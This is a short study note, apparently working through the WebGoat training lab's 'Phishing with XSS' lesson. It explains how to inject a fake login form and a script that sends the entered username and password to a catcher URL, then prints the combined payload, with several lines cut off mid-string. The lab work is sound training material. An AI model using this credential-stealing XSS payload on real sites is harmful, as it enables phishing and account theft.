Phishing with XSS

Sunday, October 22, 2017 11:48 AM

- It is always good practice to validate all input on the server side
  - XSS can occur when unvalidated user input is used in an HTTP response
- With the help of XSS you can do a Phishing Attack and add content to a page which looks official
  - It is very hard for a victim to determine that the content is malicious

Solution

With XSS it is possible to add further elements to an existing page. This solution consists of two parts you have to combine:

- A form the victim has to fill in
- A script which reads the form and sends the gathered information to the attacker

- Inject your own form into the webpage via the form field
- Use </form> first to close the existing <form > tag

```
</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3><br><br>Enter Username:<br><input type = "text" name="user"><br>Ente
```

- Now we need a script:

```
<script>function evil(){ XSSImage=new Image; XSSImage.src="http://localhost:8081/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + '
big boy. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}</script>
```

- Now we add a submit button that will call our malicious JS function

```
<input type="submit" name="login" value="login" onclick="evil()">
```

- The final string looks like this…

```
</form><script>function evil(){ XSSImage=new Image; XSSImage.src="http://localhost:8081/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.
information big boy. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}</script><form name="phish"><br><br><HR><H
"text" name="user"><br>Enter Password:<br><input type="password" name="pass"><br><input type="submit" name="login" value="login" onclick="evil()"><
```